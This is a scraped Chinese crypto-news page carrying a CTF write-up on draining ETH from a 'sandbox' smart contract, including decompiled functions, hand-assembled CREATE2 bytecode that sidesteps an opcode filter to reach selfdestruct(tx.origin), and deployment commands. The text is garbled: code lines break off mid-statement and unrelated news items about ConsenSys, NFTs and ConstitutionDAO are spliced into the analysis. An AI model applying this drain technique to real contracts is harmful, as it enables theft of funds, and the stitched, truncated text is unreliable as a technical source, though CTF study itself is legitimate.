基于samczsun的解析文章學習
分析原文:
本文都是基于https://samczsun
elseif(0x2918435f==function_selector){0x2918435f();}elseif(0x4214352d==function_selector){0x4214352d();}elseif(0x74e3fb3e==function_selector){0x74e3fb3e();}
再看到其的全局變量,一共有兩個,分別在slot0和slot1的位置處。可以看到這兩個全局變量都是uint256數組。
uint256array_0;//STORAGEuint256_owners;//STORAGE
依次分析函數,找到我們感興趣的部分,然后再深入調查該函數,看是否能夠達到我們的目標——拿到該合約的所有ETH。
ConsenSys確認將裁員97人,占員工總數的11%:1月18日消息,ConsenSys CEO Joe Lubin宣布將裁員97人,占ConsenSys員工總數的11%。Joe Lubin表示,我們需要做出極其艱難的決定,精簡ConsenSys的一些團隊,以適應充滿挑戰和不確定的市場條件。Lubin強調 ConsenSys的財務實力,表示艱難的精簡決定將使公司的戰略集中在其核心產品上,并在Web3商業發展成為主流時探索新的機會。[2023/1/19 11:19:45]
首先是函數1:0x4214352d
function0x4214352d(uint256varg0,uint256varg1)publicnonPayable{require(msg
//翻譯一下functionset_array(uint256_value,uint256_key)public{require(msg
ContentFi創始人:目前NFT行業在四個方向都存在一定的困局:金色財經現場報道,ContentFi創始人Hayden 在Coinlive和moledao主辦的線下活動上表示:在通過對市面的各個方進行調研時發現,目前NFT行業在四個方向都存在一定的困局。
對于項目方而言,當前沒有足夠的資金來豐富IP相關的內容和體驗,對于愿意提供內容、服務或產品的創作者而言,沒有足夠的共建意愿。
對于擁有攜帶商業使用權的NFT的投資者而言,對NFT的版權價值找不到需求方和使用場景。
對于愿意購買某IP相關的內容、服務或產品的粉絲消費者而言,當前難以找到所有和IP相關的產品,熱愛無處寄托。通過分析發現,項目方的困局在于行業內卷,freemint成為趨勢,版稅機制難以強制等;NFT創作的困局在于參與共建門檻過高,共建收益以NFT增值來表達,變現意味著喪失所有權對職業長期發展的幫助不夠明朗。NFT持有者的困局則在于,授權的需求側和供給側沒有匹配的渠道,
對于NFT粉絲群體而言,他們的困局則是當前的NFT平臺沒有沒有基于IP的關系表達。[2022/11/9 12:39:29]
可以看到該函數主要是對array_0進行賦值,在賦值前檢查了兩項:
美國憲法副本拍賣失敗后,ConstitutionDAO成員或無法獲得全額退款:11月22日消息,美國憲法副本拍賣失敗后,ConstitutionDAO成員或無法獲得全額退款。根據此前披露的消息顯示,ConstitutionDAO為拍賣籌集了超過 4500 萬美元,一些成員要求退款,然而,許多剛接觸以太坊生態系統的捐贈者沒有意識到,該網絡的高昂gas費用意味著他們捐贈金額無法被全額退回ConstitutionDAO的Discord社區中已經有人提出不想支付退款的gas費用。此外,ConstitutionDAO還宣布任命兩位新的組織領導者,分別是去中心化自治組織核心貢獻者 Brian Wagner和Web 3愛好者Liminal Warmth,目前尚不清楚這兩位新領導者將如何解決ConstitutionDAO退款問題。[2021/11/22 22:08:15]
msg
=>functionget_array(uint256_key)publicviewreturns(uint256){require(msg
ConsenSys創始人:ETH 2.0時間框架不受市場負面影響 將按計劃推出:以太坊聯合創始人、ConsenSys創始人Joseph Lubin發布了新的FAQ,涵蓋了未來以太坊(ETH)權益證明版本的商業和設計方面。根據該文件,ETH 2.0的推出時間框架沒有受到新冠病爆發和隨后的市場蕭條的影響。正如之前的計劃,網絡發展的初始階段(0階段或信標鏈)將在2020年啟動,而第一階段將在2021年將區塊鏈分成64個相互連接的分片。ETH 1.0將與ETH 2.0共存,作為它的第一個分片。在第二階段,也就是2021-2022年,它將被ETH 2完全取代。所有以太坊(ETH)資金在過渡期間都是安全的,無需持有人采取任何行動。此外,ConsenSys團隊還強調指出,目前沒有購買ETH 2以太坊的可能性。(U.Today)[2020/4/28]
與set_array函數類似
再看函數3:owners
動態 | Context Summit:數字貨幣市場日趨成熟 傳統基金靜待入場機會:傳統基金投資大會 Context Summit 于2019年1月30日至2月1日在邁阿密舉行。Altonomy作為參會的少數幾家數字貨幣機構之一, 與傳統金融領域中代表投資界最高水準的母基金探討了傳統金融對數字貨幣資產類別的現階段看法與近期計劃。傳統基金對數字貨幣的理解與興趣已趨成熟,在會談中,已有多家大型機構表示市場拐點已近,正在尋求機會和方式入場數字貨幣。同時參會的基金包括 Allianz, Bridgewater Associates, Fidelity, Morgan Stanley, Wells Fargo等。[2019/2/4]
functionowners(uint256varg0)publicnonPayable{require(msg
=>functionowners(uint256_key)publicviewreturns(address){require(msg
最后看函數4:0x2918435f
function0x2918435f(addressvarg0)publicpayable{require(msg
v2=1;}require(v0);MEM=MEM(varg0
assert(v5<varg0
v7,v8=varg0
require(v7);}
可以看到函數40x2918435f比較復雜,簡單分析函數4中有三層require:
要求調用該函數的msg
v2=1;}require(v0);=>翻譯一下:boolpermit=false;uint256i=0;while(i<_owners
i=1;}require(permit);
3.要求作為傳入參數的地址addr,逐字節檢查該參數地址對應的代碼,要求其中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字節。在黃皮書中這幾個字節對應的分別是:create,call,callcode,delegatecall,staticcall,selfdestruct.這部分對應的代碼比較復雜,我們將對比opcode,逐字翻譯```MEM=MEM(varg0
assert(v5<varg0
}
問題分析-2
現在我們需要滿足第三個條件,即構造一個合約,該合約對應的runtimecode中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字節,因此需要我們手動來寫合約,然后通過該sandbox的第四個函數來delegatecall該合約,從而清空sandbox中的ETH。
首先明確我們使用create2,其為0xf5,我們可以首先看下黃皮書中關于create2的定義
簡單來說是先計算出要創建的合約的地址,然后執行要創建的合約的初始化代碼,再將該初始化代碼與要創建的合約地址進行關聯。
故我們需要一個合約,他的runtimecode中執行一個create2函數,創建一個臨時合約,并將上下文環境中的address(this)里的全部ETH都作為贈品贈與該臨時合約,該臨時合約的初始化代碼中應該執行selfdestruct(tx.orgin)函數來將所有的ETH轉移給合約部署人。
先用opcode來寫runtimecode:
//tx.origin這里的ORIGIN是payload,不應該被執行,故需要改為push10x32//SELFDESTRUCT//構造payload,因為SELFDESTRUCT是0xff,不能被使用,故可以通過ADD來繞道實現push20x32fe//0x32fepush10x01//0x32fe0x01ADD//0x32ffpush10x40//0x32ff0x40mstore//構造payload0x40->0x32ff,push100//Us->salt鹽push10x04//Us->length長度4push10x3e//us->offset偏移值->內存中0x400x20-0x2=0x3eADDRESSBALANCE//Us->ETH數量->應該是該address(this)的所有ETHcreate2=>6132fe60010160405260006004603e3031f5
在寫該合約的初始化代碼,可以用solidity寫了,因為是我自己執行來部署該runtimecode
contractHackCTF{constructor()publicpayable{assembly{mstore(0x00,0x6132fe60010160405260006004603e3031f5)return(0x0e,0x12。}
然后部署HackCTF合約,在調用ctf中的第四個函數,將該合約的地址作為參數傳進去即可
hacker=HackCTF.deploy({"from":alice})ctf.hack(hacker,{'from':alice})print(alice.balance())
免責聲明:作為區塊鏈信息平臺,本站所發布文章僅代表作者個人觀點,與鏈聞ChainNews立場無關。文章內的信息、意見等均僅供參考,并非作為或被視為實際投資建議。
本文來源于非小號媒體平臺:
登鏈社區
現已在非小號資訊平臺發布105篇作品,
非小號開放平臺歡迎幣圈作者入駐
入駐指南:
/apply_guide/
本文網址:
/news/10087897.html
免責聲明:
1.資訊內容不構成投資建議,投資者應獨立決策并自行承擔風險
2.本文版權歸屬原作所有,僅代表作者本人觀點,不代表非小號的觀點或立場
上一篇:
SendingLabs完成1250萬美元種子輪融資,以構建「Web3通信堆棧」
6月18日,據TheBlock消息,加英國加密分析初創公司CryptoCompare已從紐約資產管理公司VanEck的子公司MVIndexSolutions(MVIS)獲得戰略投資.
1900/1/1 0:00:00親愛的PandaFe熊貓用戶:針對近期市場出現“爆倉賠付50%保證金”、“爆倉退還50%保證金”等不實宣傳,平臺在此作出詳細說明:訂單爆倉強平一般自動返還該幣種最高杠桿的倉位保證金的一半.
1900/1/1 0:00:00截止到北京時間12:15,比特幣現貨價格為37830.67美元,以太坊現貨價格為2338.79美元。受高通脹預期和四川雅安將大規模清理整頓當地礦企影響,主流加密貨幣從17日傍晚其開始持續跳水.
1900/1/1 0:00:00據Newtimes消息,盧旺達央行支付系統主管JohnKaramuka表示,該行正在考慮評估和研究與CBDC相關的經濟、金融和技術方面以及運營模式和當地情況.
1900/1/1 0:00:00親愛的用戶:幣安合約已於2021年06月22日11:30調整BTCU本位合約的保證金階梯,調整內容包含每一階梯的對應頭寸/倉位和維持保證金率。請用戶參考更新後的保證金階梯限額進行下單.
1900/1/1 0:00:00親愛的用戶:幣安將於香港時間2021年06月22日11:30上線KEEPUSDT1-25倍U本位永續合約。注意:KEEPU本位合約是正向合約,即穩定幣合約,採用穩定幣作為保證金.
1900/1/1 0:00:00